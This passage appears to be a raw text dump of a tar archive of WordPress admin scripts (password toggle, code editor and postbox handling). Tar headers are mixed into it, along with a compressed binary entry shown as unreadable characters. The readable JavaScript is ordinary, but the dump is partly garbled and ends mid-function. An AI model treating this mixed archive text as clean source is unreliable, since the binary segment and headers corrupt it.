Current File : /home/natitnen/crestassured.com/wp-admin/js/js.tar
password-toggle.js000064400000002473150276633100010234 0ustar00/**
 * Adds functionality for password visibility buttons to toggle between text and password input types.
 *
 * @since 6.3.0
 * @output wp-admin/js/password-toggle.js
 */

( function () {
	var toggleElements, status, input, icon, label, __ = wp.i18n.__;

	toggleElements = document.querySelectorAll( '.pwd-toggle' );

	toggleElements.forEach( function (toggle) {
		toggle.classList.remove( 'hide-if-no-js' );
		toggle.addEventListener( 'click', togglePassword );
	} );

	function togglePassword() {
		status = this.getAttribute( 'data-toggle' );
		input = this.parentElement.children.namedItem( 'pwd' );
		icon = this.getElementsByClassName( 'dashicons' )[ 0 ];
		label = this.getElementsByClassName( 'text' )[ 0 ];

		if ( 0 === parseInt( status, 10 ) ) {
			this.setAttribute( 'data-toggle', 1 );
			this.setAttribute( 'aria-label', __( 'Hide password' ) );
			input.setAttribute( 'type', 'text' );
			label.innerHTML = __( 'Hide' );
			icon.classList.remove( 'dashicons-visibility' );
			icon.classList.add( 'dashicons-hidden' );
		} else {
			this.setAttribute( 'data-toggle', 0 );
			this.setAttribute( 'aria-label', __( 'Show password' ) );
			input.setAttribute( 'type', 'password' );
			label.innerHTML = __( 'Show' );
			icon.classList.remove( 'dashicons-hidden' );
			icon.classList.add( 'dashicons-visibility' );
		}
	}
} )();
code-editor.js000064400000026504150276633100007312 0ustar00/**
 * @output wp-admin/js/code-editor.js
 */

if ( 'undefined' === typeof window.wp ) {
	/**
	 * @namespace wp
	 */
	window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
	/**
	 * @namespace wp.codeEditor
	 */
	window.wp.codeEditor = {};
}

( function( $, wp ) {
	'use strict';

	/**
	 * Default settings for code editor.
	 *
	 * @since 4.9.0
	 * @type {object}
	 */
	wp.codeEditor.defaultSettings = {
		codemirror: {},
		csslint: {},
		htmlhint: {},
		jshint: {},
		onTabNext: function() {},
		onTabPrevious: function() {},
		onChangeLintingErrors: function() {},
		onUpdateErrorNotice: function() {}
	};

	/**
	 * Configure linting.
	 *
	 * @param {CodeMirror} editor - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
	 * @param {Function}   settings.onUpdateErrorNotice - Callback to update error notice.
	 *
	 * @return {void}
	 */
	function configureLinting( editor, settings ) { // eslint-disable-line complexity
		var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];

		/**
		 * Call the onUpdateErrorNotice if there are new errors to show.
		 *
		 * @return {void}
		 */
		function updateErrorNotice() {
			if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
				settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
				previouslyShownErrorAnnotations = currentErrorAnnotations;
			}
		}

		/**
		 * Get lint options.
		 *
		 * @return {Object} Lint options.
		 */
		function getLintOptions() { // eslint-disable-line complexity
			var options = editor.getOption( 'lint' );

			if ( ! options ) {
				return false;
			}

			if ( true === options ) {
				options = {};
			} else if ( _.isObject( options ) ) {
				options = $.extend( {}, options );
			}

			/*
			 * Note that rules must be sent in the "deprecated" lint.options property 
			 * to prevent linter from complaining about unrecognized options.
			 * See <https://github.com/codemirror/CodeMirror/pull/4944>.
			 */
			if ( ! options.options ) {
				options.options = {};
			}

			// Configure JSHint.
			if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
				$.extend( options.options, settings.jshint );
			}

			// Configure CSSLint.
			if ( 'css' === settings.codemirror.mode && settings.csslint ) {
				$.extend( options.options, settings.csslint );
			}

			// Configure HTMLHint.
			if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
				options.options.rules = $.extend( {}, settings.htmlhint );

				if ( settings.jshint ) {
					options.options.rules.jshint = settings.jshint;
				}
				if ( settings.csslint ) {
					options.options.rules.csslint = settings.csslint;
				}
			}

			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
			options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
				return function( annotations, annotationsSorted, cm ) {
					var errorAnnotations = _.filter( annotations, function( annotation ) {
						return 'error' === annotation.severity;
					} );

					if ( onUpdateLintingOverridden ) {
						onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
					}

					// Skip if there are no changes to the errors.
					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
						return;
					}

					currentErrorAnnotations = errorAnnotations;

					if ( settings.onChangeLintingErrors ) {
						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
					}

					/*
					 * Update notifications when the editor is not focused to prevent error message
					 * from overwhelming the user during input, unless there are now no errors or there
					 * were previously errors shown. In these cases, update immediately so they can know
					 * that they fixed the errors.
					 */
					if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
						updateErrorNotice();
					}
				};
			})( options.onUpdateLinting );

			return options;
		}

		editor.setOption( 'lint', getLintOptions() );

		// Keep lint options populated.
		editor.on( 'optionChange', function( cm, option ) {
			var options, gutters, gutterName = 'CodeMirror-lint-markers';
			if ( 'lint' !== option ) {
				return;
			}
			gutters = editor.getOption( 'gutters' ) || [];
			options = editor.getOption( 'lint' );
			if ( true === options ) {
				if ( ! _.contains( gutters, gutterName ) ) {
					editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
				}
				editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
			} else if ( ! options ) {
				editor.setOption( 'gutters', _.without( gutters, gutterName ) );
			}

			// Force update on error notice to show or hide.
			if ( editor.getOption( 'lint' ) ) {
				editor.performLint();
			} else {
				currentErrorAnnotations = [];
				updateErrorNotice();
			}
		} );

		// Update error notice when leaving the editor.
		editor.on( 'blur', updateErrorNotice );

		// Work around hint selection with mouse causing focus to leave editor.
		editor.on( 'startCompletion', function() {
			editor.off( 'blur', updateErrorNotice );
		} );
		editor.on( 'endCompletion', function() {
			var editorRefocusWait = 500;
			editor.on( 'blur', updateErrorNotice );

			// Wait for editor to possibly get re-focused after selection.
			_.delay( function() {
				if ( ! editor.state.focused ) {
					updateErrorNotice();
				}
			}, editorRefocusWait );
		});

		/*
		 * Make sure setting validities are set if the user tries to click Publish
		 * while an autocomplete dropdown is still open. The Customizer will block
		 * saving when a setting has an error notifications on it. This is only
		 * necessary for mouse interactions because keyboards will have already
		 * blurred the field and cause onUpdateErrorNotice to have already been
		 * called.
		 */
		$( document.body ).on( 'mousedown', function( event ) {
			if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
				updateErrorNotice();
			}
		});
	}

	/**
	 * Configure tabbing.
	 *
	 * @param {CodeMirror} codemirror - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onTabNext - Callback to handle tabbing to the next tabbable element.
	 * @param {Function}   settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
	 *
	 * @return {void}
	 */
	function configureTabbing( codemirror, settings ) {
		var $textarea = $( codemirror.getTextArea() );

		codemirror.on( 'blur', function() {
			$textarea.data( 'next-tab-blurs', false );
		});
		codemirror.on( 'keydown', function onKeydown( editor, event ) {
			var tabKeyCode = 9, escKeyCode = 27;

			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
			if ( escKeyCode === event.keyCode ) {
				$textarea.data( 'next-tab-blurs', true );
				return;
			}

			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
			if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
				return;
			}

			// Focus on previous or next focusable item.
			if ( event.shiftKey ) {
				settings.onTabPrevious( codemirror, event );
			} else {
				settings.onTabNext( codemirror, event );
			}

			// Reset tab state.
			$textarea.data( 'next-tab-blurs', false );

			// Prevent tab character from being added.
			event.preventDefault();
		});
	}

	/**
	 * @typedef {object} wp.codeEditor~CodeEditorInstance
	 * @property {object} settings - The code editor settings.
	 * @property {CodeMirror} codemirror - The CodeMirror instance.
	 */

	/**
	 * Initialize Code Editor (CodeMirror) for an existing textarea.
	 *
	 * @since 4.9.0
	 *
	 * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
	 * @param {Object}                [settings] - Settings to override defaults.
	 * @param {Function}              [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
	 * @param {Function}              [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
	 * @param {Function}              [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
	 * @param {Function}              [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
	 * @param {Object}                [settings.codemirror] - Options for CodeMirror.
	 * @param {Object}                [settings.csslint] - Rules for CSSLint.
	 * @param {Object}                [settings.htmlhint] - Rules for HTMLHint.
	 * @param {Object}                [settings.jshint] - Rules for JSHint.
	 *
	 * @return {CodeEditorInstance} Instance.
	 */
	wp.codeEditor.initialize = function initialize( textarea, settings ) {
		var $textarea, codemirror, instanceSettings, instance;
		if ( 'string' === typeof textarea ) {
			$textarea = $( '#' + textarea );
		} else {
			$textarea = $( textarea );
		}

		instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
		instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );

		codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );

		configureLinting( codemirror, instanceSettings );

		instance = {
			settings: instanceSettings,
			codemirror: codemirror
		};

		if ( codemirror.showHint ) {
			codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
				var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
				if ( codemirror.state.completionActive && isAlphaKey ) {
					return;
				}

				// Prevent autocompletion in string literals or comments.
				token = codemirror.getTokenAt( codemirror.getCursor() );
				if ( 'string' === token.type || 'comment' === token.type ) {
					return;
				}

				innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
				lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
				if ( 'html' === innerMode || 'xml' === innerMode ) {
					shouldAutocomplete =
						'<' === event.key ||
						'/' === event.key && 'tag' === token.type ||
						isAlphaKey && 'tag' === token.type ||
						isAlphaKey && 'attribute' === token.type ||
						'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
				} else if ( 'css' === innerMode ) {
					shouldAutocomplete =
						isAlphaKey ||
						':' === event.key ||
						' ' === event.key && /:\s+$/.test( lineBeforeCursor );
				} else if ( 'javascript' === innerMode ) {
					shouldAutocomplete = isAlphaKey || '.' === event.key;
				} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
					shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
				}
				if ( shouldAutocomplete ) {
					codemirror.showHint( { completeSingle: false } );
				}
			});
		}

		// Facilitate tabbing out of the editor.
		configureTabbing( codemirror, settings );

		return instance;
	};

})( window.jQuery, window.wp );
farbtastic.js.js.tar.gz000064400000005251150276633100011051 0ustar00��Y[s���3�Zք�D$%ʉh9�ȉ���Z����ɀ���
(���&���.�XP$m���t��=��_�0]p7�D$��~��E���Ӆ{���`%�y��"�œG\\G��k�����x�d8��p�`��GC6x�!_z�8Ǒ����/w�i���m�ه��<_2?�Ӝe����/.�(a7C�$�P��8v�y$�r*}e�	��p��y���+��D���7�,V���$M����u�I�ܭ
w��N(1 ݎ�'�^�A4�@tF����oq�r�Ş���g9�=��J�a�_r���Ӝ;"�|�t2�#�$�p�Ͽ;<r��kV&����ڵ��ή3K�F`v�jf���خe�0*z�ޟ`;��F��D^O�O�E	�{��x��	7^��&PvPۙsa
̓�yΟ��$�2�n���f���r��R��@L��/*�fSR�Q�gp�\���,3Ұ)/y��}D7̏��Nv�;/�u��Xr��ڸ
9��m�7<��庭�O�@��oHo���]i#��Kv
+t{��$�l�H&+Hy�2����'r9��{AT@����V���r:x8�D�i��Z�?Gw�7�S4{��Cv8���ьY�w�=X���=��L	�-����'v5�]��qme{�]w�s����a2��y�q)�1w>�ޜ��'���	�6�J���V���D�}6�S��B �ͭqO�91O�P\���⮔�v������WR�L�Y�co'��y��MB�˽�@\8���E:�qzr�<��t-�xӘ'"/y�ѿ��̇'�ɰ��'��_���v���>�^Kq�i��GP>f2�'�He~�G7<a<�p9a!"I��HpW�W�wi;G��t�_�iWCj��R�l���h�Xf<�����T�0<a�2@l'�ͬ�G�,3�v�,@�x��%����I��U��%��������l��n[���̶���5_���o�X	O)}ݶr׍��6F�<pP��+NIj��L��H #6)�pqJ����{�U1�X�+���Sq���ֹD�g�|Ì'��ں-�h6X�1����� ���ܢMb���8g����=��Gf��W���e�2ɔ�HRy_�L:��%!ȡn ��m[�:M�F��Th���:���ߥ�\�[
����WQ�liٓ����.�\4�uW��X�{��86�^kQ5�tZ"���R$1�v��J
��$�z��ji�-��2��)�St؂m�Yrn�c�#X���<�^(:8�9�����)�.6G9�%%��Ge�!�(W���;�@�s��D]��h�i-\6�e��
�H�Uh�+t�����6ap� �ĮD\�͍�!s�z��LB�pz�~I	�	ro>G�4�I�i˔(1hUZԏ�n�2�=N���z����F~�Ъy,*ؔ�D䁶V�ʇMWB7��~�_��Ѧ�Y�ƛh8wv�����`��M�ؔ�7y�c|��k���d桀m�%!m����f�ײX7�b�Fk�mb�3�VS�u��(�d^�a�D���Z����PV%�N�%#���+�½��ѷf
%�l`K�}��F�U�Ϻ
��S��jx�oG�׭,��������Qb!�s�I��F[�m�D$.�$��F��b|�[�h_�+#[=��6�
�L�i5����o�7���{�~}�MR�*���jd,�c�"�)c�0m��B��.��s��J�8�qB�+�V
h��B�X�[/*s0��Jy��3�[Y������	��E�/��|Rz0ќ�Y�3Xo��=f9cUtTDُ�}#��FRm�)�x�F��瞗&/�Q�I~x�P�F8c�<�v�&Fw;f�ɖj|m���4��@O.��虫J�
c.&U^�:h��Y{D^��X��
�i�'ƾg�g����0R?��f�z���ʪl@c%���׳�z=a����g
�:
LҼ0�7�]I�[��}��7��װ�p�a�\NڪZ�"�#����9��Gt��V�h�8���J1��:��������Fm��>t�uWV��9<"P��R���)/�˚�c0k�c�
c�c��hR���6OydV�P�A�A�7v��B�Q�DX�ɪP��P���	覉�Oa���X�8�����@�_$�H2|g�Z�A�+���0�覉�un8<�y�M�$�:��:�jB�;+��V�^�P��^1��|Cn�@]���
a�X��}`���J&4�*��̅��.����OC�kZ�-o�[�j�V*#�X�js������^���ԗK��#�>��Ϯ����!5��1jc�ڻ�m�g
�#���
m
��~O�-9��C���ƒJ���a(}��ٓIReƞL�*�U��݅��ʍ.�<��q�٬k0ܛ`�x�h�e�R�Nڧ�j�\yШ2��K0Vڮc��iW:wU��t�[[�k��*xa������: ��Z�d�G���Ԅ�އx8W�Nb�
�i�5"�5ר�ܩ��׸�����U\�~'�������(R_�j6[��䠎��?4�ߤ�3i"G�z�s?� ��C�~%A���^�,�����[P�VQge�lR��[G��e!Xy��?��7�˯����>�ړ���������?��
��&postbox.js000064400000044627150276633100006620 0ustar00/**
 * Contains the postboxes logic, opening and closing postboxes, reordering and saving
 * the state and ordering to the database.
 *
 * @since 2.5.0
 * @requires jQuery
 * @output wp-admin/js/postbox.js
 */

/* global ajaxurl, postboxes */

(function($) {
	var $document = $( document ),
		__ = wp.i18n.__;

	/**
	 * This object contains all function to handle the behavior of the post boxes. The post boxes are the boxes you see
	 * around the content on the edit page.
	 *
	 * @since 2.7.0
	 *
	 * @namespace postboxes
	 *
	 * @type {Object}
	 */
	window.postboxes = {

		/**
		 * Handles a click on either the postbox heading or the postbox open/close icon.
		 *
		 * Opens or closes the postbox. Expects `this` to equal the clicked element.
		 * Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide
		 * if the postbox has been closed.
		 *
		 * @since 4.4.0
		 *
		 * @memberof postboxes
		 *
		 * @fires postboxes#postbox-toggled
		 *
		 * @return {void}
		 */
		handle_click : function () {
			var $el = $( this ),
				p = $el.closest( '.postbox' ),
				id = p.attr( 'id' ),
				ariaExpandedValue;

			if ( 'dashboard_browser_nag' === id ) {
				return;
			}

			p.toggleClass( 'closed' );
			ariaExpandedValue = ! p.hasClass( 'closed' );

			if ( $el.hasClass( 'handlediv' ) ) {
				// The handle button was clicked.
				$el.attr( 'aria-expanded', ariaExpandedValue );
			} else {
				// The handle heading was clicked.
				$el.closest( '.postbox' ).find( 'button.handlediv' )
					.attr( 'aria-expanded', ariaExpandedValue );
			}

			if ( postboxes.page !== 'press-this' ) {
				postboxes.save_state( postboxes.page );
			}

			if ( id ) {
				if ( !p.hasClass('closed') && typeof postboxes.pbshow === 'function' ) {
					postboxes.pbshow( id );
				} else if ( p.hasClass('closed') && typeof postboxes.pbhide === 'function' ) {
					postboxes.pbhide( id );
				}
			}

			/**
			 * Fires when a postbox has been opened or closed.
			 *
			 * Contains a jQuery object with the relevant postbox element.
			 *
			 * @since 4.0.0
			 * @ignore
			 *
			 * @event postboxes#postbox-toggled
			 * @type {Object}
			 */
			$document.trigger( 'postbox-toggled', p );
		},

		/**
		 * Handles clicks on the move up/down buttons.
		 *
		 * @since 5.5.0
		 *
		 * @return {void}
		 */
		handleOrder: function() {
			var button = $( this ),
				postbox = button.closest( '.postbox' ),
				postboxId = postbox.attr( 'id' ),
				postboxesWithinSortables = postbox.closest( '.meta-box-sortables' ).find( '.postbox:visible' ),
				postboxesWithinSortablesCount = postboxesWithinSortables.length,
				postboxWithinSortablesIndex = postboxesWithinSortables.index( postbox ),
				firstOrLastPositionMessage;

			if ( 'dashboard_browser_nag' === postboxId ) {
				return;
			}

			// If on the first or last position, do nothing and send an audible message to screen reader users.
			if ( 'true' === button.attr( 'aria-disabled' ) ) {
				firstOrLastPositionMessage = button.hasClass( 'handle-order-higher' ) ?
					__( 'The box is on the first position' ) :
					__( 'The box is on the last position' );

				wp.a11y.speak( firstOrLastPositionMessage );
				return;
			}

			// Move a postbox up.
			if ( button.hasClass( 'handle-order-higher' ) ) {
				// If the box is first within a sortable area, move it to the previous sortable area.
				if ( 0 === postboxWithinSortablesIndex ) {
					postboxes.handleOrderBetweenSortables( 'previous', button, postbox );
					return;
				}

				postbox.prevAll( '.postbox:visible' ).eq( 0 ).before( postbox );
				button.trigger( 'focus' );
				postboxes.updateOrderButtonsProperties();
				postboxes.save_order( postboxes.page );
			}

			// Move a postbox down.
			if ( button.hasClass( 'handle-order-lower' ) ) {
				// If the box is last within a sortable area, move it to the next sortable area.
				if ( postboxWithinSortablesIndex + 1 === postboxesWithinSortablesCount ) {
					postboxes.handleOrderBetweenSortables( 'next', button, postbox );
					return;
				}

				postbox.nextAll( '.postbox:visible' ).eq( 0 ).after( postbox );
				button.trigger( 'focus' );
				postboxes.updateOrderButtonsProperties();
				postboxes.save_order( postboxes.page );
			}

		},

		/**
		 * Moves postboxes between the sortables areas.
		 *
		 * @since 5.5.0
		 *
		 * @param {string} position The "previous" or "next" sortables area.
		 * @param {Object} button   The jQuery object representing the button that was clicked.
		 * @param {Object} postbox  The jQuery object representing the postbox to be moved.
		 *
		 * @return {void}
		 */
		handleOrderBetweenSortables: function( position, button, postbox ) {
			var closestSortablesId = button.closest( '.meta-box-sortables' ).attr( 'id' ),
				sortablesIds = [],
				sortablesIndex,
				detachedPostbox;

			// Get the list of sortables within the page.
			$( '.meta-box-sortables:visible' ).each( function() {
				sortablesIds.push( $( this ).attr( 'id' ) );
			});

			// Return if there's only one visible sortables area, e.g. in the block editor page.
			if ( 1 === sortablesIds.length ) {
				return;
			}

			// Find the index of the current sortables area within all the sortable areas.
			sortablesIndex = $.inArray( closestSortablesId, sortablesIds );
			// Detach the postbox to be moved.
			detachedPostbox = postbox.detach();

			// Move the detached postbox to its new position.
			if ( 'previous' === position ) {
				$( detachedPostbox ).appendTo( '#' + sortablesIds[ sortablesIndex - 1 ] );
			}

			if ( 'next' === position ) {
				$( detachedPostbox ).prependTo( '#' + sortablesIds[ sortablesIndex + 1 ] );
			}

			postboxes._mark_area();
			button.focus();
			postboxes.updateOrderButtonsProperties();
			postboxes.save_order( postboxes.page );
		},

		/**
		 * Update the move buttons properties depending on the postbox position.
		 *
		 * @since 5.5.0
		 *
		 * @return {void}
		 */
		updateOrderButtonsProperties: function() {
			var firstSortablesId = $( '.meta-box-sortables:visible:first' ).attr( 'id' ),
				lastSortablesId = $( '.meta-box-sortables:visible:last' ).attr( 'id' ),
				firstPostbox = $( '.postbox:visible:first' ),
				lastPostbox = $( '.postbox:visible:last' ),
				firstPostboxId = firstPostbox.attr( 'id' ),
				lastPostboxId = lastPostbox.attr( 'id' ),
				firstPostboxSortablesId = firstPostbox.closest( '.meta-box-sortables' ).attr( 'id' ),
				lastPostboxSortablesId = lastPostbox.closest( '.meta-box-sortables' ).attr( 'id' ),
				moveUpButtons = $( '.handle-order-higher' ),
				moveDownButtons = $( '.handle-order-lower' );

			// Enable all buttons as a reset first.
			moveUpButtons
				.attr( 'aria-disabled', 'false' )
				.removeClass( 'hidden' );
			moveDownButtons
				.attr( 'aria-disabled', 'false' )
				.removeClass( 'hidden' );

			// When there's only one "sortables" area (e.g. in the block editor) and only one visible postbox, hide the buttons.
			if ( firstSortablesId === lastSortablesId && firstPostboxId === lastPostboxId ) {
				moveUpButtons.addClass( 'hidden' );
				moveDownButtons.addClass( 'hidden' );
			}

			// Set an aria-disabled=true attribute on the first visible "move" buttons.
			if ( firstSortablesId === firstPostboxSortablesId ) {
				$( firstPostbox ).find( '.handle-order-higher' ).attr( 'aria-disabled', 'true' );
			}

			// Set an aria-disabled=true attribute on the last visible "move" buttons.
			if ( lastSortablesId === lastPostboxSortablesId ) {
				$( '.postbox:visible .handle-order-lower' ).last().attr( 'aria-disabled', 'true' );
			}
		},

		/**
		 * Adds event handlers to all postboxes and screen option on the current page.
		 *
		 * @since 2.7.0
		 *
		 * @memberof postboxes
		 *
		 * @param {string} page The page we are currently on.
		 * @param {Object} [args]
		 * @param {Function} args.pbshow A callback that is called when a postbox opens.
		 * @param {Function} args.pbhide A callback that is called when a postbox closes.
		 * @return {void}
		 */
		add_postbox_toggles : function (page, args) {
			var $handles = $( '.postbox .hndle, .postbox .handlediv' ),
				$orderButtons = $( '.postbox .handle-order-higher, .postbox .handle-order-lower' );

			this.page = page;
			this.init( page, args );

			$handles.on( 'click.postboxes', this.handle_click );

			// Handle the order of the postboxes.
			$orderButtons.on( 'click.postboxes', this.handleOrder );

			/**
			 * @since 2.7.0
			 */
			$('.postbox .hndle a').on( 'click', function(e) {
				e.stopPropagation();
			});

			/**
			 * Hides a postbox.
			 *
			 * Event handler for the postbox dismiss button. After clicking the button
			 * the postbox will be hidden.
			 *
			 * As of WordPress 5.5, this is only used for the browser update nag.
			 *
			 * @since 3.2.0
			 *
			 * @return {void}
			 */
			$( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) {
				var hide_id = $(this).parents('.postbox').attr('id') + '-hide';
				e.preventDefault();
				$( '#' + hide_id ).prop('checked', false).triggerHandler('click');
			});

			/**
			 * Hides the postbox element
			 *
			 * Event handler for the screen options checkboxes. When a checkbox is
			 * clicked this function will hide or show the relevant postboxes.
			 *
			 * @since 2.7.0
			 * @ignore
			 *
			 * @fires postboxes#postbox-toggled
			 *
			 * @return {void}
			 */
			$('.hide-postbox-tog').on('click.postboxes', function() {
				var $el = $(this),
					boxId = $el.val(),
					$postbox = $( '#' + boxId );

				if ( $el.prop( 'checked' ) ) {
					$postbox.show();
					if ( typeof postboxes.pbshow === 'function' ) {
						postboxes.pbshow( boxId );
					}
				} else {
					$postbox.hide();
					if ( typeof postboxes.pbhide === 'function' ) {
						postboxes.pbhide( boxId );
					}
				}

				postboxes.save_state( page );
				postboxes._mark_area();

				/**
				 * @since 4.0.0
				 * @see postboxes.handle_click
				 */
				$document.trigger( 'postbox-toggled', $postbox );
			});

			/**
			 * Changes the amount of columns based on the layout preferences.
			 *
			 * @since 2.8.0
			 *
			 * @return {void}
			 */
			$('.columns-prefs input[type="radio"]').on('click.postboxes', function(){
				var n = parseInt($(this).val(), 10);

				if ( n ) {
					postboxes._pb_edit(n);
					postboxes.save_order( page );
				}
			});
		},

		/**
		 * Initializes all the postboxes, mainly their sortable behavior.
		 *
		 * @since 2.7.0
		 *
		 * @memberof postboxes
		 *
		 * @param {string} page The page we are currently on.
		 * @param {Object} [args={}] The arguments for the postbox initializer.
		 * @param {Function} args.pbshow A callback that is called when a postbox opens.
		 * @param {Function} args.pbhide A callback that is called when a postbox
		 *                               closes.
		 *
		 * @return {void}
		 */
		init : function(page, args) {
			var isMobile = $( document.body ).hasClass( 'mobile' ),
				$handleButtons = $( '.postbox .handlediv' );

			$.extend( this, args || {} );
			$('.meta-box-sortables').sortable({
				placeholder: 'sortable-placeholder',
				connectWith: '.meta-box-sortables',
				items: '.postbox',
				handle: '.hndle',
				cursor: 'move',
				delay: ( isMobile ? 200 : 0 ),
				distance: 2,
				tolerance: 'pointer',
				forcePlaceholderSize: true,
				helper: function( event, element ) {
					/* `helper: 'clone'` is equivalent to `return element.clone();`
					 * Cloning a checked radio and then inserting that clone next to the original
					 * radio unchecks the original radio (since only one of the two can be checked).
					 * We get around this by renaming the helper's inputs' name attributes so that,
					 * when the helper is inserted into the DOM for the sortable, no radios are
					 * duplicated, and no original radio gets unchecked.
					 */
					return element.clone()
						.find( ':input' )
							.attr( 'name', function( i, currentName ) {
								return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName;
							} )
						.end();
				},
				opacity: 0.65,
				start: function() {
					$( 'body' ).addClass( 'is-dragging-metaboxes' );
					// Refresh the cached positions of all the sortable items so that the min-height set while dragging works.
					$( '.meta-box-sortables' ).sortable( 'refreshPositions' );
				},
				stop: function() {
					var $el = $( this );

					$( 'body' ).removeClass( 'is-dragging-metaboxes' );

					if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) {
						$el.sortable('cancel');
						return;
					}

					postboxes.updateOrderButtonsProperties();
					postboxes.save_order(page);
				},
				receive: function(e,ui) {
					if ( 'dashboard_browser_nag' == ui.item[0].id )
						$(ui.sender).sortable('cancel');

					postboxes._mark_area();
					$document.trigger( 'postbox-moved', ui.item );
				}
			});

			if ( isMobile ) {
				$(document.body).on('orientationchange.postboxes', function(){ postboxes._pb_change(); });
				this._pb_change();
			}

			this._mark_area();

			// Update the "move" buttons properties.
			this.updateOrderButtonsProperties();
			$document.on( 'postbox-toggled', this.updateOrderButtonsProperties );

			// Set the handle buttons `aria-expanded` attribute initial value on page load.
			$handleButtons.each( function () {
				var $el = $( this );
				$el.attr( 'aria-expanded', ! $el.closest( '.postbox' ).hasClass( 'closed' ) );
			});
		},

		/**
		 * Saves the state of the postboxes to the server.
		 *
		 * It sends two lists, one with all the closed postboxes, one with all the
		 * hidden postboxes.
		 *
		 * @since 2.7.0
		 *
		 * @memberof postboxes
		 *
		 * @param {string} page The page we are currently on.
		 * @return {void}
		 */
		save_state : function(page) {
			var closed, hidden;

			// Return on the nav-menus.php screen, see #35112.
			if ( 'nav-menus' === page ) {
				return;
			}

			closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' );
			hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' );

			$.post(ajaxurl, {
				action: 'closed-postboxes',
				closed: closed,
				hidden: hidden,
				closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
				page: page
			});
		},

		/**
		 * Saves the order of the postboxes to the server.
		 *
		 * Sends a list of all postboxes inside a sortable area to the server.
		 *
		 * @since 2.8.0
		 *
		 * @memberof postboxes
		 *
		 * @param {string} page The page we are currently on.
		 * @return {void}
		 */
		save_order : function(page) {
			var postVars, page_columns = $('.columns-prefs input:checked').val() || 0;

			postVars = {
				action: 'meta-box-order',
				_ajax_nonce: $('#meta-box-order-nonce').val(),
				page_columns: page_columns,
				page: page
			};

			$('.meta-box-sortables').each( function() {
				postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' );
			} );

			$.post(
				ajaxurl,
				postVars,
				function( response ) {
					if ( response.success ) {
						wp.a11y.speak( __( 'The boxes order has been saved.' ) );
					}
				}
			);
		},

		/**
		 * Marks empty postbox areas.
		 *
		 * Adds a message to empty sortable areas on the dashboard page. Also adds a
		 * border around the side area on the post edit screen if there are no postboxes
		 * present.
		 *
		 * @since 3.3.0
		 * @access private
		 *
		 * @memberof postboxes
		 *
		 * @return {void}
		 */
		_mark_area : function() {
			var visible = $( 'div.postbox:visible' ).length,
				visibleSortables = $( '#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible' ),
				areAllVisibleSortablesEmpty = true;

			visibleSortables.each( function() {
				var t = $(this);

				if ( visible == 1 || t.children( '.postbox:visible' ).length ) {
					t.removeClass('empty-container');
					areAllVisibleSortablesEmpty = false;
				}
				else {
					t.addClass('empty-container');
				}
			});

			postboxes.updateEmptySortablesText( visibleSortables, areAllVisibleSortablesEmpty );
		},

		/**
		 * Updates the text for the empty sortable areas on the Dashboard.
		 *
		 * @since 5.5.0
		 *
		 * @param {Object}  visibleSortables            The jQuery object representing the visible sortable areas.
		 * @param {boolean} areAllVisibleSortablesEmpty Whether all the visible sortable areas are "empty".
		 *
		 * @return {void}
		 */
		updateEmptySortablesText: function( visibleSortables, areAllVisibleSortablesEmpty ) {
			var isDashboard = $( '#dashboard-widgets' ).length,
